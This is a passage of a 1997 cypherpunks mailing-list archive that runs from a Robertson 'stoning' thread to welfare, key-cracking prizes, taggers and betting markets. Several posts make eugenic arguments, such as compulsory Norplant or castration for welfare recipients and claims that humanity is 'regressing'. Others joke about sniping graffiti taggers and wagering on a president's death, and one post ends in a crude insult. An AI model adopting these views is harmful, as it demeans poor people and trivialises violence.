> >>  he can, or it can. Of course they can deceive
> >>  people. And if they can lead somebody away
> >>  from the true God, or away from Jesus
> >>  Christ, anyway it happens, it doesn't
> >>  matter, you will lose your salvation. It
> >>  doesn't matter how they get you. The
> >>  question is, did they get you, and under
> >>  what guise?

  Well, you have to consider the Support package before you really
pass judgement. What kind of Jock strap are we talking about, here?
 
> >>  "This is man in rebellion against God, who
> >>  refuses to take God's Law. And God says,
> >>  'My covenant says you won't do this. And if
> >>  I find anybody in Israel,'-- "which is his
> >>  pure nation" -- 'If I find anybody in
> >>  Israel that's doing this sort of thing,
> >>  then I want you to take him out and dispose
> >>  of him."
> 
> That is fascism.  Nazi fascism.

  Come on, you're overreacting. Everything is disposable these days. 

> >>  "It's a clear violation of God's word.
> >>  Stone them."

  "Everybody must get stoned." - Bob Dylan

> >>  Skipp Porteous, Freedom Writer publisher,
> >>  commented: "As the founder and chairman of
> >>  the Christian Coalition -- a group
> >>  dedicated to becoming the most powerful
> >>  political force in America -- Robertson's
> >>  extreme ideas need to be taken seriously,
> >>  for they not only negate pluralism, but
> >>  condemn to death those who dare to believe
> >>  differently."

  How differently does one have to believe to just get "spanked?"
(I'm not into hard-core.)
 
> This speech of his outlines in entirety the Christian Agenda.
> Enslaving, murder of those different, intolerance, fascism.

  Jesus! (pardon the expression)
  Do these people put out a magazine? Color glossies? Is there
bondage involved? If so, I would be willing to convert.

 > If Christians try to stone anyone, they should be shot right away.

  Not if they pick out the seeds and stems, first.
 
> Freedom-Thru-AtheismMonger
> "Your god is DEAD!!! And no one cares!!! If there is a hell, I'll see
> you there!!!!!" - Nine Inch Nails, "Heresy"

  I bought a futures contract on "Nine Inch Nails." If they are not
"Eleven Inch Nails" by this time next week, I lose my ass.

  I know this post doesn't make much sense, but it's Friday night and
I haven't got a date. Is anybody out there getting laid tonight? Could
you send me pictures?
  I'm desperate. The posts to alt.boring have slowed to a crawl. I'm
running out of Pop Tarts. Still no word from the Reader's Digest 
Sweepstakes.

  And the way this relates to cryptography is...
  ...uuuhhh...John Gilmore is a cocksucker!

(Bet you thought this whole damn post was going to be off-topic,
 didn't you?)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 23 Aug 1997 20:38:12 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: lack of evolutionary pressures (was Re: An end to "court appointed attorneys")
In-Reply-To: <19970822224234.61793@bywater.songbird.com>
Message-ID: <3.0.2.32.19970823052607.00739d30@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:43 AM 8/23/97 +0100, Adam Back wrote:
>The problem is what can you do about it?  Well I guess you could
>negatively structure the welfare hand out system to discourage them.
>You could scrap the welfare system.  They already offer free birth
>control advice to teenagers and hand out condoms free without
>questions etc.  Free abortions?

One thing that has been tried here, but was quickly shot down by the
welfare lobby was making Norplant (a two ? year hormonal birth control
device that gets implanted subcutaneously) implants a requirement for
receiving welfare checks.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 23 Aug 1997 11:39:23 +0800
To: cypherpunks@toad.com
Subject: Re: None
Message-ID: <199708230328.FAA18726@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



anon@anon.efga.org wrote:

 >>  Great Barrington, MA -- In a recent
 >>  pronouncement, television evangelist and
 >>  head of the Christian Coalition, Pat
 >>  Robertson, advocated death by stoning for
 >>  crypto enthusiasts.

 AN> This post has moved me considerably.  Some parts of his speech
 AN> requires a response that words could not adequately describe.


Jim Bell has a solution for that <G>

BellMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sat, 23 Aug 1997 22:19:38 +0800
To: Tim May <cypherpunks@toad.com>
Subject: Re: FCPUNX:Socio-Economic Cults (Re: CypherPunk Cults)
Message-ID: <199708231403.HAA28264@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:00 PM 8/21/97 -0700, Tim May wrote:
> Interestingly, many of the strategies for moving assets offshore, to
> offshore banks and money havens, is not so much to evade taxes as to
> "protect assets." Protect them from ransom/extortion demands of the _legal
> profession_ sort, e.g., "deep pockets" lawsuits. For example, somebody
> finds out that J. Random Cypherpunk is  financially well off--perhaps from
> the increasing number of online credit report records, etc.--and decides to
> have a convenient "fall" on his property. He then sues for some large
> amount, either covered by Homeowner's Insurance, or more.

In addition to famous deep pockets attacks on big corporations, 
for example the woman who supposedly lost her psychic powers
as a result of a CAT scan, or the silicone lawsuits, there is
also a significant business suing private individuals.

One particular vicious scam is the famous child molestation
accusation.  You privately agree you molested your child and 
pay $50 000 for "therapy", and provided you pay and cooperate
your admission will be kept quiet, or you are charged with ritual 
child abuse involving upside down crucifixes and the like.

> (Don't anybody waste their or my time with penny ante ideas for getting
> small amounts of money out of the country.)

Use the beef futures tactic:   Somebody placed a bet on beef going up.  
If it goes up, it was Tim's offshore corporation that bet on it.  If it
goes down, it was Tim that bet on it.  Gee, it seems that Tim has had
a run of bad luck in his gambling on the futures market.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wazoo MixMaster <mix@earth.wazoo.com>
Date: Sat, 23 Aug 1997 22:36:40 +0800
To: cypherpunks@toad.com
Subject: Shooting the taggers
Message-ID: <199708230816.IAA24167@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain




Tim May wrote:
> And yet can J. Random Businessman defend his property against this
> defacing? Nope. The cops say "Let us handle crimes." But they don't.
>
> There's a solution for taggers: snipers.

There appears to be a wonderful market for long-range nonlethal
stun weapons. I wonder, if a tagger is marking your building,
would it be legal to stun him from a distance and then call the
cops?

Rape can be argued to be deserving of serious punishment of some kind,
but would tagging deserve death when a nonlethal option exist? Could
not the woman stun the rapist and then call the cops?

-THE LIE





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 23 Aug 1997 21:34:34 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
Message-ID: <199708231333.IAA24258@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 23 Aug 1997 05:26:07 -0700
> From: Lucky Green <shamrock@netcom.com>
> Subject: Re: lack of evolutionary pressures (was Re: An end to "court
>   appointed attorneys")

> One thing that has been tried here, but was quickly shot down by the
> welfare lobby was making Norplant (a two ? year hormonal birth control
> device that gets implanted subcutaneously) implants a requirement for
> receiving welfare checks.

You need to read the Constitution again, you missed something critical in
there.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 23 Aug 1997 21:49:05 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (was Re: An end to "court appointed attorneys") (fwd)
Message-ID: <199708231347.IAA24308@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 22 Aug 1997 22:42:34 -0700
> From: Kent Crispin <kent@songbird.com>
> Subject: Re: lack of evolutionary pressures (was Re: An end to "court appointed attorneys")

> The evolutionary definition of "competent" is "propagate your genetic 
> material".  A rough corollary is that those who raise the most children 
> to child-bearing age are the most competent.

With all due respect, bullshit. Fecundity is in no way related to long-term
survival as detailed in the various theories of Neo-Darwinian evolution or
in actual studies. I would suggest strongly that you read Ernst Meyr and get
a better grip on how evolutionary theory works. Just being fecund does not
in any way guarantee success, in fact it may guarantee failure because it
keeps the limits of genetic spread of the population constrained. There is
also a book, Extinction: luck or genes?, which you should look into.

I apologize for not providing better cites but I don't have any of Mayr's or
the extinction book on hand at the moment. They are commenly found in the
science section of larger bookstores though.

Also note that Mayr has a new book out (about a year old I believe) that
covers some of the most recent changes of the punctuated-equilibria and
neo-darminian camps.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sun, 24 Aug 1997 00:44:12 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: lack of evolutionary pressures (was Re: An end to "courtappointed attorneys")
In-Reply-To: <19970822224234.61793@bywater.songbird.com>
Message-ID: <v03007811b024b0882aec@[207.94.249.75]>
MIME-Version: 1.0
Content-Type: text/plain



Hi Adam.  A nice analysis.  However:

At 2:43 AM -0700 8/23/97, Adam Back wrote:
>The problem is what can you do about it?  Well I guess you could
>negatively structure the welfare hand out system to discourage them.
>You could scrap the welfare system.  They already offer free birth
>control advice to teenagers and hand out condoms free without
>questions etc.  Free abortions?
If we are going to do anything for free, it should be things which
encourage population reduction.  Anyone for a charity?

>
>The real problem is that the pervasive bleeding heart
>socialist/communist welfare system mentality will ensure that you'll
>never manage it.
>
>"The children" is a war cry which will ensure the continuance of state
>funded negative evolutionary pressures.

Don't always assume that these are negative evolutionary pressures.  One of
the hallmarks of Homo's evolutionary survival has been the ability to live
in many niches.  Welfare is one niche, and no one should be surprised when
organisms decide to live in an available niche.  The question is, what
happens when that niche goes away?

For example, I have one friend who raised her two children (spaced 12 years
apart) on welfare.  They are now grown and she has a job as a Unix
sysadmin.  She obviously has the ability to move from niche to niche.  (And
doesn't subscribe to the Protestant work ethic.)


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 23 Aug 1997 21:55:39 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Fecundity, evolution, & extenction (references)
Message-ID: <199708231353.IAA24354@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

If you are interested in the subject of evolution and the various theories
that are competing for pre-imminence then check out:

The Origins of Order: Self-organization and selection in evolution
S.A. Kauffman
ISBN 019507951-5
$32.00

Beyond Natural Selection
R. Wesson
ISBN 0-262-73102-9
$14.95

Embryos, genes, and evolution: The development-genetic basis of evolutionary
                               change
R.A Raff, T.C. Kaufman
ISBN 0-253-34790-4

The evolution and extinction of the Dinosaurs
D.E. Fastovsky, D.B. Weishampel
ISBN 0-521-44496-9


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 23 Aug 1997 11:27:04 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: heart
In-Reply-To: <Pine.SUN.3.96.970822121032.16494B-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.93.970823083012.496A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 22 Aug 1997, Ray Arachelian wrote:

> On Fri, 22 Aug 1997, ? the platypus {aka David Formosa} wrote:
> 
> > Humans do some realy rotten things but that is just the nature of a
> > creature with free will.
> 
> And somehow this justifies their actions while allowing them to be human,
> and doesn't justify our hatred of them and makes us inhuman? 

If we are willing to consider anyone of us to be less then human then we
all become less human.  No one has a right to consider anthoughter less
then human.

[...]

> > Again I would not wish to live like that Nor do I beleave that it is true
> > justice (what ever that may be.).  Its a barbric form of psydojusice.
> 
> It's called having the punishment fit the crime precisely and exactly.

I would prefur that the punishment would fit the criminal.


> > [...] At some point someone is going to say "To protect your privacy
> > we have to violate your privacy."
> 
> That would be Hoover.  Correct: corruption.  And why have we accepted and
> allowed such corruption of ideals from the start?

It is greaduil,  first you let the cops beconsidered less then human and
then you let the idear spread to other groups.  The only fair way to
defend against such attacks is to attack idears like that when ever thay
occour.

[...]

> Erm, when the jack booted thugs come at you with automatics, I'd like to
> see you throw PGP disks, or source code at them to see if it can do more
> damage to them that their bullets to your body.

Raids from jack booted thugs are nether the start nor the end.  While code
will not stop bullets, thay sometimes will have the ablity to stop the
thugs being able to get you.

[...]

> > Its just I fear the cure where worce then the desease.
> 
> The cure happened once before.  Recall England and the lovely colonies
> that rebelled.  Do you believe that cure was worse than the Kings taxes
> and troops?

Given I am a subject of HRM[1] I would not know.  I am not happy about
this eather but we are working at getting rid of her.  

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

[1] I am an Australian.


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Version: 2.6.3i
Charset: noconv

iQCVAwUBM/4ZTaQK0ynCmdStAQEWAQQAqhBy5SkbJnYvtz7VCxlcnR9Mk/fDur4z
nbnxeEyZtE5nNRuD+cXfwcomAdQUv8knZULHr6KoVahxr0B9FIwrAJi19O9Z3C83
9T9gw8F67/dArmMcrwvj91wPMwR1OmiUAulsl7WMPXklt8HwgKRL91y5NlZBbKbE
pwb+EORA6gU=
=EAOS
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 24 Aug 1997 00:10:08 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
In-Reply-To: <199708231333.IAA24258@einstein.ssz.com>
Message-ID: <3.0.2.32.19970823090344.00768d3c@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:33 AM 8/23/97 -0500, Jim Choate wrote:
>> One thing that has been tried here, but was quickly shot down by the
>> welfare lobby was making Norplant (a two ? year hormonal birth control
>> device that gets implanted subcutaneously) implants a requirement for
>> receiving welfare checks.
>
>You need to read the Constitution again, you missed something critical in
>there.

Nope, I didn't. Nowhere is the Constitution does it say that citizens have
a right to welfare money. The State is free to make virtually anything not
expressly prohibited by the Constitution a condition for providing welfare.
Including that the recipient takes positive steps to forestall the breeding
of further welfare recipients. Even making castration a precondition for
receiving welfare would be constitiutional. [I do not advocate such a step].


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 24 Aug 1997 01:00:57 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
In-Reply-To: <199708231619.LAA24929@einstein.ssz.com>
Message-ID: <3.0.2.32.19970823095226.00775be8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:19 AM 8/23/97 -0500, Jim Choate wrote:
>On one hand you rail against the oppression of people by their government and
>then you promote even further oppression, what a hypocrite. Your eugenic
>slant on democracy is a disservice.

Let's try this from a different angle... Say it was charity. Would it, in
your opinion, be constitutional for a private charity to require Norplant
before dispensing the charitable goods and services?



--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 24 Aug 1997 01:14:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Mathematics > NSA + GCHQ
In-Reply-To: <v03102803b023719e4bce@[207.167.93.63]>
Message-ID: <3.0.2.32.19970823100743.00768280@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:12 PM 8/23/97 -0400, nospam-seesignature@ceddec.com wrote:
>DEScrack was only done on a relatively few computers.  If a really big
>prize was offered (In this lotto, you just run this screen saver which
>uses less bandwidth than pointcast... The chinese radio lottery via the
>internet), you could get almost every computer into the act.

This is a good point. It took $10,000 (plus some hope for fame) to motivate
thousands of computer users to participate in DESCHALL.  But $10k is not
all that much money. Few people will go to extraordinary measures to get a
long shot chance at winning this relatively small sum. Note that there were
few DESCHALL participants from China, India, and other countries where
there is a substantial numbers of computers.

Now imagine if the prize was $1,000,000 or $10M. That's real money to just
about every student out there. Every box at every university would be
working on it. Employees would install the cracker first and ask their
sysadmin later. If at all.

I you offer such sums, people would find cycles you didn't even know existed.

BTW, I am thinking about organizing corporate sponsorships to beef up the
reward for the RC5-64 crack. I am quite certain that at a $1M prize
offering, I would be cracked faster than DES.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 24 Aug 1997 01:32:02 +0800
To: cypherpunks@cyberpass.net
Subject: Welfare Solution #389
Message-ID: <199708231711.KAA13141@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Alex Le Heux (alexlh@yourchoice.nl) wrote:
> Unfortunately our own government is slowely succumbing under the 
> international pressure, and soon we'll have our own War On Drugs here.

I say, Lord help me if they outlaw hash bars. 

Anonymous wrote:
>   Many in the welfair class have their basic needs met by the government
> and then steal to buy heroin.

This is odd; I am sure that heavy drug dependents are more likely to
want money from welfare, but I query you: Does that necessarily mean 
that welfare recipients are more likely to be drug dependent?

> [Query: who is the victim in a drug case? -- but I digress...].

That's funny, I don't know who the victim is in this drug case you
fail to describe. I haven't read the decision writings. How should
I know?

I could imagine that a junkie who takes some old lady's purse to buy
heroin is victimizing the old lady, but is a student smoking marijuana
and drinking a beer victimizing anyone? What about a heroin junkie who
is rich, though unpopular, and never committed any other crime? Have
they made themselves a victim of something? Maybe so...the needle,
the darkness, the overwhelming Love Which Cannot Be Real. But the
state shouldn't recognize "mystical entities" like this as perpetrators.
The person in this case is making a choice; they will do no harm but
to themselves. Are they then a victim, or a perpetrator, or both?

> Also, if it was a crime where the victim suffered financial losses, the
> defendant not only has to pay the Crime Victim's Fee but also restitution
> to the victim.

Does not theft of belongings in any case deserve punitive and
recompensive financial damages? Like the U.S. Park Service theft
of the ranch on Santa Cruz Island?

-THE LIE





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 24 Aug 1997 01:18:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: lack of evolutionary pressures
In-Reply-To: <19970822224234.61793@bywater.songbird.com>
Message-ID: <v03102800b024c40254a7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:43 AM -0700 8/23/97, Adam Back wrote:

>There are a few evolutionary pressures, but they are insignificant
>compared to all the negative pressures.
>
>Positive examples?
>
>- motorbike riding
>- aggresive drivers
>- manic depressives
>- mountain climbers
>- hard drug takers
>- drug pushers
>- DEA agents

I have no idea if the traits associated with these activities are to be
considered good or bad, bright or not bright, heritable or not heritable,
etc. Does the slightly greater tendency of mountain climbers to die earlier
than philosophers mean anything? I doubt it.

...
>Have lots of children .. to counteract the welfare cases tendencies.
>Mormon polygamy?  Harem?
>
>(Again not following own advice, only two children ... so far).

Main point: The human genome is now "weighed down" with more than 7 billion
persons, a large fraction of them still capable of reproducing. Bluntly
put, it ain't going _anywhere_, at least not very fast. Changes in the
characteristics of a species, loosely speaking, "evolution," happen faster
in small populations. The tribe of hominids forced out of trees by loss of
forestation in the Rift Zone, for example, will undergo rapid changes over
a few hundred generations.  Billions of humans in the modern era, with
essentially everyone reaching reproductive age, will not. The human genome
is like a supertanker being hit by tennis balls: it just won't move.

Minor point: Adam's children will most likely tend toward the mean. Smart
people tend to mate with other smart people, more or less. Dumb people tend
to mate with other dumb people, more or less. Lots of reasons for this, but
look around and confirm it. So, this will lead to an ever-broader Bell
curve of intelligence, right? Nope. For whatever complicated reasons, the
curve has essentially reached its "normal broadness," to invent a phrase.
Or so I think is the case. Certainly there are ample statistics to show
this.

Other minor point, possibly major: The ROI on the human genome for Adam to
have more children, so as to counteract the stupid breeding more stupid
people, is virtually nil. If Adam likes children, or wants them around him
for whatever reason, fine. But any notion that 2 or 3 or even 5 children
will affect the genome is wishful thinking. Look at the math.

(And not even the infamous "But what if _all_ smart and educated people
thought this way?" applies. First, what Adam or Tim or Blanc does about
having children will not affect the decisions of others. Magical Thinking
101 again. Second, the aforementioned tendency to the mean, for complicated
biochemical/genetic reasons.  Third, even if Adam's children inherited a
persistent "gene for intelligence" which passed on undiminished with time
(or at least in proportion to other such genes from other reproductive
partners in the future), think of how many generations until Adam's magic
gene is in just 0.001% of the population. Hint: a lot.)

Have children if you personally want them, but don't think your having or
not having children has anything to do with saving the species.


>The problem is that from a purely scientific evolutionary point of
>view, the human race is surely regressing, the masses of negative
>evolutionary pressures are certainly pushing this way.

I doubt this in the strongest possible way.

Australia was populated by the common criminals of England, the louts and
scoundrels and thieves and murderers. (Perhaps some "political prisoners,"
but mostly common criminals.) And yet within a generation or two, Australia
was thriving, and today nobody would argue that the descendants of convicts
are dumb or backward.

We aren't changing the genome.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sun, 24 Aug 1997 01:41:47 +0800
To: cypherpunks@cyberpass.net
Subject: Practical Assassination Politics
Message-ID: <19970823173259.20002.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



I was just browsing the Foresight Exchange (formerly Idea
Futures) and notice that there have been a few changes.  First,
the instruments are now referred to as "bets" and there is quite
a bit more use of the language of "Non-Traditional Wagering."

One claim that caught my eye was BCPrez, owned by
sburnap@wsgc.com and judged by Gafter@eng.sun.com.

This claim pays $1 for each YES coupon if Bill Clinton is
President of the United States at noon on January 1, 2001.

This claim pays $1 for each NO coupon if Bill Clinton is no
longer President of the United States at noon on January 1, 2001,
for any reason including, but not limited to resignation,
impeachment, or death.
                ^^^^^:)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 23 Aug 1997 18:23:26 +0800
To: kent@songbird.com
Subject: Re: lack of evolutionary pressures (was Re: An end to "court appointed attorneys")
In-Reply-To: <19970822224234.61793@bywater.songbird.com>
Message-ID: <199708230943.KAA00823@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Kent Crispin <kent@songbird.com> writes:
> On Sat, Aug 23, 1997 at 12:53:08AM +0100, Adam Back wrote:
> > 
> > One doesn't.  But if one is not competent, one is likely to find out the
> > hard way.
> > 
> > There's precious little evolutionary pressures around at the moment,
> > the race could use some more.
> 
> The evolutionary definition of "competent" is "propagate your genetic 
> material".  A rough corollary is that those who raise the most children 
> to child-bearing age are the most competent.  In practice it seems to 
> be the case, however, that intelligence and "evolutionary competence" 
> are negatively correlated.  

I was going to rant about the negative evolutionary pressures, but I
kept it short.  I agree fully.

There are a few evolutionary pressures, but they are insignificant
compared to all the negative pressures.

Positive examples?  

- motorbike riding
- aggresive drivers
- manic depressives
- mountain climbers
- hard drug takers
- drug pushers
- DEA agents

A couple of those don't deserve the negative evolutionary pressures
they surely inflict upon themselves or inherit, a couple do.

There are lots of things around which will kill you slowly, or offer
you a measurable though small chance of dying young, but this usually
doesn't affect that persons chances of reproducing.  Examples might be
smoking, heavy drinking, overeating, etc.

> I think this goes a little deeper, in fact.  The kind of
> intelligence that leads to high technical achievement is not even
> necessarily a kind of intelligence that favors survival under
> difficult situations.  If society dissolves it is my belief that
> computer geeks, like us, are not the ones that will be most likely
> to survive....

So start collecting guns and doing target practice.  Intelligence
includes ability to adapt and forsee likely future events.

Not taking my own advice here owning no guns.  My wife is a crack shot
though from pistol target shooting.  Problem is they're trying to
outlaw most/all types of target pistol over here.

Have lots of children .. to counteract the welfare cases tendencies.
Mormon polygamy?  Harem?

(Again not following own advice, only two children ... so far).

The problem is that from a purely scientific evolutionary point of
view, the human race is surely regressing, the masses of negative
evolutionary pressures are certainly pushing this way.

Welfare cases in the UK are encouraged to hav children by the way the
system is structured.  A single mother is the highest priority case,
with pretty much guaranteed 16 years of preferential treatment, higher
payouts, higher on housing priority lists, and so on.  Female
divorcees with children often get more money, better accomodation, and
more extra fringe benefit handouts than they would ever have married.
Welfare is better than the minimum wage earners lot by a significant
amount.

The problem is what can you do about it?  Well I guess you could
negatively structure the welfare hand out system to discourage them.
You could scrap the welfare system.  They already offer free birth
control advice to teenagers and hand out condoms free without
questions etc.  Free abortions?

The real problem is that the pervasive bleeding heart
socialist/communist welfare system mentality will ensure that you'll
never manage it.

"The children" is a war cry which will ensure the continuance of state
funded negative evolutionary pressures.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 24 Aug 1997 01:55:36 +0800
To: Bill Stewart <cypherpunks@Algebra.COM
Subject: Re: Shooting the taggers
In-Reply-To: <v03102804b02380f8e70e@[207.167.93.63]>
Message-ID: <v03102801b024d368f2ac@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:45 PM -0700 8/22/97, Bill Stewart wrote:
>At 10:57 AM 8/22/97 -0700, Tim May wrote:
>>There's a solution for taggers: snipers.
>>(I'm indebted to Chip Morningstar for this succinct solution.)
>
>I'm highly opposed to this inappropriate use of excess force.
>Snipers with paint-guns?  Sure.  Snipers with rock-salt guns?  Perhaps.
>Snipers with real bullets?  Sorry, it ain't worth murder.
>
>On the other hand, the parallels between graffiti taggers and
>SPAMMERs are fairly direct...

No, "spam" is like a telephone call or other contact one may not like, but
which is using a legal channel. Like someone knocking on  your gate. (It
may be that many of these contacts are "unwanted." So? By listing an e-mail
address, or a phone number, or placing a buzzer on a gate, one is
essentially saying "Contact me." Some of these contacts, even if
unrequested, turn out to be positive. Some are negative. All are within
legal bounds.

Grafitti is a trespass onto physical property. If someone enters my
property and spray paints my walls, this is criminal.

It shows how overloaded and ambiguous the term "spam" has become when even
a usually careful writer like Bill is equating criminal trespass with
spamming.

(In one of the newsgroups I read, an increasing response to unpopular views
is to call them "spam." Jeesh.)


--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 24 Aug 1997 00:21:17 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: lack of evolutionary pressures (was Re: An end to "court (fwd)
Message-ID: <199708231619.LAA24929@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Lucky Green <shamrock@netcom.com>
> Subject: Re: lack of evolutionary pressures (was Re: An end to "court
>   (fwd)

> >You need to read the Constitution again, you missed something critical in
> >there.
> 
